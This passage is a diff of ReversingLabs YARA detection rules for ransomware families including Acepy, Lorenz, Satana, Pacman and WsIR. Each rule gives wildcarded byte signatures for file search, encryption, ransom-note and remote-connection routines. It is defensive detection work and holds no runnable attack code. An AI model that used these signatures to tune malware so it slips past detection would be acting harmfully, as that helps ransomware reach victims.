+            8D 85 ?? ?? ?? ?? 50 89 8D ?? ?? ?? ?? FF D6 3B C3 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ??
+            ?? ?? 75 ?? 6A ?? 57 53 53 8D 85 ?? ?? ?? ?? 50 FF D6 3B C3 74 ?? 8D 85 ?? ?? ?? ??
+            50 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 59 53 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C7
+            B9 ?? ?? ?? ?? 8B 11 8B F2 C1 EE ?? 33 F2 69 F6 ?? ?? ?? ?? 03 F0 89 71 ?? 83 C1 ??
+            40 81 F9 ?? ?? ?? ?? 7C ?? 57 A3 ?? ?? ?? ?? FF 15
+        }
+		$find_files_p1 = {
+            8D 85 ?? ?? ?? ?? 53 53 50 53 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
+            83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF
+            D6 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57
+            FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 33 F6 0F B7
+            C6 FF 34 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
+            ?? 46 66 83 FE ?? 72 ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ??
+            ?? 0F 84 ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 0F B7 B5 ?? ?? ?? ?? 8D 34 B5
+        }
+		$find_files_p2 = {
+            FF 36 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 50 FF D3 FF 36 89 85 ?? ??
+            ?? ?? FF D3 8B 8D ?? ?? ?? ?? 3B C8 0F 84 ?? ?? ?? ?? FF 85 ?? ?? ?? ?? 66 83 BD ??
+            ?? ?? ?? ?? 72 ?? C6 85 ?? ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? FF 34 85 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FE 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ??
+            ?? 72 ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 59 85 F6 74 ?? 6A ?? 59 FF B5 ?? ?? ?? ?? 33 C0
+            8B FE F3 AB 66 8B 85 ?? ?? ?? ?? 66 89 46 ?? FF D3 8D 44 00 ?? 50 E8 ?? ?? ?? ?? 59
+            FF B5 ?? ?? ?? ?? 89 46 ?? 50 FF 15 ?? ?? ?? ?? 56 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BF ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
+            FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF B5 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 EB ?? 56 FF 15 ?? ?? ??
+            ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B
+            4D ?? 5F 5E 33 CD 33 C0 5B E8 ?? ?? ?? ?? C9 C2
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($generate_key) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Acepy : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Acepy ransomware."
+		author = "ReversingLabs"
+		id = "3ffb45b1-6bde-5bf8-957e-433b9488ba91"
+		date = "2022-08-04"
+		modified = "2022-08-04"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Acepy.yara#L1-L69"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "92c543a0b8c3c884f83647119d32c7b46f5fe839694bb8a8de0146c5c77bc587"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Acepy"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$find_files = {
+            E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ??
+            50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? ?? ?? ?? 51 50 E8 ?? ?? ?? ??
+            83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 45 ?? 8B 08 51 E8 ?? ?? ?? ??
+            83 C4 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ??
+            E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
+            B8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50
+            8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50
+            E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ??
+            ?? ?? B8 ?? ?? ?? ?? C9 C3
+        }
+		$encrypt_files = {
+            55 89 E5 81 EC ?? ?? ?? ?? 90 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            89 45 ?? 8B 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ??
+            ?? ?? B8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? B8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 50 8B 45 ??
+            50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 40 50 B8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            89 45 ?? 8B 45 ?? 50 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? B8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 4D ?? 39 C8 0F 83 ?? ?? ?? ?? E9 ?? ?? ?? ??
+            8B 45 ?? 89 C1 40 89 45 ?? EB ?? 8B 45 ?? 8B 4D ?? 01 C1 8B 45 ?? 8B 55 ?? 01 C2 8B
+            45 ?? 50 89 4D ?? 89 55 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 8B 4D ?? 31 D2
+            F7 F1 8B 45 ?? 01 D0 8B 4D ?? 0F BE 09 0F BE 10 31 D1 8B 45 ?? 88 08 EB ?? B8 ?? ??
+            ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 B9 ?? ?? ?? ?? 51 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 8B 45 ?? 50 E8 ?? ?? ??
+            ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C9 C3
+        }
+		$drop_ransom_note = {
+            55 89 E5 81 EC ?? ?? ?? ?? 90 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            89 45 ?? 8B 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ??
+            ?? ?? B8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 50 B8 ?? ?? ?? ?? 50 B8
+            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ??
+            ?? ?? C9 C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and (($find_files) and ($encrypt_files) and ($drop_ransom_note))
 }
 rule REVERSINGLABS_Win32_Ransomware_Satana : TC_DETECTION MALICIOUS MALWARE FILE
 {
@@ -25340,8 +26742,8 @@ rule REVERSINGLABS_Win32_Ransomware_Satana : TC_DETECTION MALICIOUS MALWARE FILE
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Satana.yara#L1-L123"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Satana.yara#L1-L123"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5deb6ac2e8b64fb6f7af8c41a9b9e695668ca66c96c65f0c7350b11cd4ae0c50"
 		score = 75
 		quality = 90
@@ -25446,18 +26848,18 @@ rule REVERSINGLABS_Win32_Ransomware_Satana : TC_DETECTION MALICIOUS MALWARE FILE
 	condition:
 		uint16(0)==0x5A4D and ($remote_connection and ( all of ($search_files_p*)) and ( all of ($encrypt_files_p*)))
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Pacman : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Lorenz : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Pacman ransomware."
+		description = "Yara rule that detects Lorenz ransomware."
 		author = "ReversingLabs"
-		id = "a440769b-030b-5b72-a6f2-cf478dd7acd2"
-		date = "2021-08-12"
-		modified = "2021-08-12"
+		id = "cc97dd15-d518-5d9f-9384-3dcf81e34e81"
+		date = "2022-10-24"
+		modified = "2022-10-24"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Pacman.yara#L1-L68"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "0634303a4db2631edb40a9435444f3bdc4bc6eb745c7e43a54478e54e7507403"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Lorenz.yara#L1-L252"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "b8668fcc560d264c37e3fbb52d5a5f1223a282abd9e984b3109efe9ab454be9f"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -25465,232 +26867,211 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Pacman : TC_DETECTION MALICIOUS MALW
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Pacman"
+		tc_detection_name = "Lorenz"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$pacman_find_encrypted_1 = {
-            28 0A 00 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] 28
-            29 02 00 06 1F 1C 28 0E 04 00 06 [0-2] 7E 13 00 00 04 20 0F 03 00 00 28 2F 00 00 06 25
-            26 28 5D 02 00 06 [0-2] 28 6D 01 00 06 [0-2] 0B 07 13 06 16 13 05 2B 31 11 06 11 05 9A
-            0C 28 0A 00 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2]
-            08 28 55 02 00 06 [0-2] 26 11 05 17 D6 13 05 11 05 11 06 8E B7 32 C7 1D 45 01 00 00 00
-            F6 FF FF FF 17 2D 06 D0 1E 01 00 06 26 16 0A 38 BC 01 00 00 28 0A 00 00 06 [0-2] 6F 0D
-            00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] 06 28 AA 04 00 06 [0-2] 14 20
-            B0 0F 00 00 28 2F 00 00 06 [0-2] 1F 0A 8D 76 00 00 01 13 07 11 07 16 20 BF 0F 00 00 28
-            2F 00 00 06 [0-2] A2 11 07 17 20 C2 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 18 20 C5 0F
-            00 00 28 2F 00 00 06 [0-2] A2 11 07 19 20 C8 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 1A
-            20 CB 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 1B 20 CE 0F 00 00 28 2F 00 00 06 [0-2] A2
-        }
-		$pacman_find_encrypted_2 = {
-            11 07 1C 20 D1 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 1D 20 D4 0F 00 00 28 2F 00 00 06
-            [0-2] A2 11 07 1E 20 C2 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 1F 09 20 D7 0F 00 00 28
-            2F 00 00 06 [0-2] A2 11 07 14 14 14 28 7A 04 00 06 [0-2] 28 E2 05 00 06 [0-2] 0D 28 07
-            00 00 06 28 1A 04 00 06 [0-2] 28 0A 00 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06
-            [0-2] 28 FD 01 00 06 [0-2] 06 28 AA 04 00 06 [0-2] 28 E2 05 00 06 [0-2] 28 36 05 00 06
-            [0-2] 2C 78 1A 45 01 00 00 00 F6 FF FF FF 7E 16 00 00 04 28 9D 02 00 06 [0-2] 28 0A 00
-            00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] 06 28 AA 04
-            00 06 [0-2] 28 E2 05 00 06 [0-2] 09 16 28 23 01 00 06 28 0A 00 00 06 [0-2] 6F 0D 00 00
-            06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] 06 28 AA 04 00 06 [0-2] 28 E2 05 00
-            06 [0-2] 28 66 04 00 06 DE 0F 25 28 4E 04 00 06 13 04 28 02 03 00 06 DE 00 06 17 D6 0A
-            06 28 0A 00 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2]
-            28 E2 04 00 06 [0-2] 3F 1B FE FF FF 1B 45 01 00 00 00 F6 FF FF FF 28 28 00 00 06 2A
+		$encrypt_files_v1_p1 = {
+            BE ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? A5 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ??
+            ?? ?? A5 A5 A4 8B 35 ?? ?? ?? ?? FF D6 89 85 ?? ?? ?? ?? 33 C0 50 68 ?? ?? ?? ?? 6A
+            ?? 50 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 68 ?? ?? ?? ?? 6A ?? 6A ?? 89 85
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 85 C0 75
+            ?? FF D6 8B 3D ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF D7 EB ?? 8B 3D ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85
+            C0 75 ?? FF D6 6A ?? FF B5 ?? ?? ?? ?? FF D7 6A ?? 6A ?? 53 FF B5 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? 85 C0 75 ?? FF D6 8D 85 ?? ?? ?? ?? 33 DB 50 53 FF B5 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF D6 53 FF B5 ?? ?? ?? ??
+            FF D7 6A ?? 8D 45 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ??
+            ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 53 8B 9D ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B
+            0D ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 89 4D ?? 66 8B 0D ?? ?? ?? ?? 66 89 4D ?? 8D 4D
+            ?? 89 85 ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 6A ?? 50 2B CA 8D 45 ?? 51 50 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 68
+            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 33 C0 50 50
         }
-		$pacman_encrypt = {
-            28 65 02 00 06 [0-2] 0A 16 13 05 20 00 04 00 00 13 07 06 11 07 28 2A 05 00 06 [0-2] 2C
-            19 1C 45 01 00 00 00 F6 FF FF FF 17 2D 06 D0 20 01 00 06 26 11 07 13 05 2B 15 11 07 15
-            D6 13 07 11 07 17 2F D0 17 45 01 00 00 00 F6 FF FF FF 20 DA 0F 00 00 28 2F 00 00 06 [0-2]
-            11 05 28 9D 02 00 06 [0-2] 28 E2 02 00 06 [0-2] 28 6E 03 00 06 06 28 0A 03 00 06 [0-2]
-            0B 14 13 04 14 0D 1F 0E 8D 25 00 00 01 13 0B 11 0B 16 ?? 9C 11 0B 17 ?? 9C 11 0B 18
-            ?? 9C 11 0B 19 ?? 9C 11 0B 1A ?? 9C 11 0B 1B ?? 9C 11 0B 1C ?? 9C 11 0B 1D ?? 9C 11 0B
-            1E 20 ?? ?? ?? ?? 9C 11 0B 1F 09 20 ?? ?? ?? ?? 9C 11 0B 1F 0A 20 ?? ?? ?? ?? 9C 11 0B
-            1F 0B 1F ?? 9C 11 0B 1F 0C 1F ?? 9C 11 0B 1F 0D 1F ?? 9C 11 0B 13 06 02 11 06 11 05 07
-            12 04 12 03 28 1F 01 00 06 05 2C 18 18 45 01 00 00 00 F6 FF FF FF 06 11 04 09 28 96 03
-            00 06 [0-2] 0C 2B 0C 06 11 04 09 28 7E 05 00 06 [0-2] 0C 04 08 17 28 45 01 00 06 [0-2]
-            13 08 20 01 04 00 00 8D 25 00 00 01 13 09 03 11 09 16 20 00 04 00 00 28 3A 03 00 06 [0-2]
-            13 0A 11 0A 16 33 0C 1D 45 01 00 00 00 F6 FF FF FF DE 24 11 08 11 09 16 11 0A 28 F6 04
-            00 06 2B CF 11 08 2C 11 18 45 01 00 00 00 F6 FF FF FF 11 08 28 1E 03 00 06 DC DE 0C 28
-            4E 04 00 06 28 02 03 00 06 DE 00 08 28 1E 03 00 06 2A
+		$encrypt_files_v1_p2 = {
+            50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 D2 42 3B C2 75 ?? 83 BD ?? ?? ?? ?? ??
+            0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15
+            ?? ?? ?? ?? 33 D2 42 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 03 8D
+            ?? ?? ?? ?? 3B 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 6A ?? 89 8D ?? ?? ?? ?? 0F 44 C2 8D
+            8D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 51 8D 4D ?? 51 6A ?? 50 6A ?? FF B5 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 85 C0 74 ?? 83 A5 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF B5 ??
+            ?? ?? ?? 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8D 45 ?? 6A ?? 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ??
+            85 C0 0F 85 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF D7 FF B5 ?? ?? ?? ?? FF 15 ?? ??
+            ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 53 FF D6 8B 85 ?? ?? ??
+            ?? 50 FF D6 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F
+            5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
         }
-
-	condition:
-		uint16(0)==0x5A4D and ($pacman_find_encrypted_1 and $pacman_find_encrypted_2 and $pacman_encrypt)
-}
-rule REVERSINGLABS_Win32_Ransomware_Wsir : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects WsIR ransomware."
-		author = "ReversingLabs"
-		id = "cb4ab736-9421-5b92-b4a5-c5db0b61725a"
-		date = "2022-08-02"
-		modified = "2022-08-02"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.WsIR.yara#L1-L73"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "c22c01f93945c7721ebfe5e7a09c3bf2b9d0ad95740bc0a76b4e61741f61d82c"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "WsIR"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$find_files = {
-            6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 53
-            55 8B E9 8D 4C 24 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 4C 24 ?? C7 84 24 ?? ?? ?? ?? ??
-            ?? ?? ?? 8B 41 ?? 85 C0 74 ?? 8D 54 24 ?? 6A ?? 52 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 00
-            68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 85 C0 0F 95 C3 E8 ?? ?? ?? ??
-            84 DB 74 ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? E8
-            ?? ?? ?? ?? 8B 4C 24 ?? 8D 44 24 ?? 50 51 FF 15 ?? ?? ?? ?? 83 F8 ?? 89 44 24 ?? 75
-            ?? 8D 4C 24 ?? 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 56 8B B4 24 ?? ??
-            ?? ?? 57 8B 3D ?? ?? ?? ?? BB ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 8D 54 24 ?? 68 ?? ??
-            ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 45 ?? 8D 54 24 ?? 52 6A ?? 8D 8C 24 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 50 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
-            ?? ?? ?? ?? 89 4C 24 ?? 89 5C 24 ?? FF D7 8B 54 24 ?? 8D 4C 24 ?? 51 52 FF 15 ?? ??
-            ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 56 6A ?? 68
-            ?? ?? ?? ?? 51 FF D7 8D 4C 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F
-            5E 8B 8C 24 ?? ?? ?? ?? 5D 5B 64 89 0D ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C2
+		$find_files_v1_p1 = {
+            FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 6A ?? 0F 57 C0 C6 45
+            ?? ?? 6A ?? 6A ?? 0F 11 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85
+            C0 74 ?? 89 18 89 58 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 08 8B 3D ?? ?? ?? ??
+            8B B5 ?? ?? ?? ?? C6 45 ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F
+            84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF
+            D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85
+            C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 8D
         }
-		$encrypt_files = {
-            FF 75 ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ??
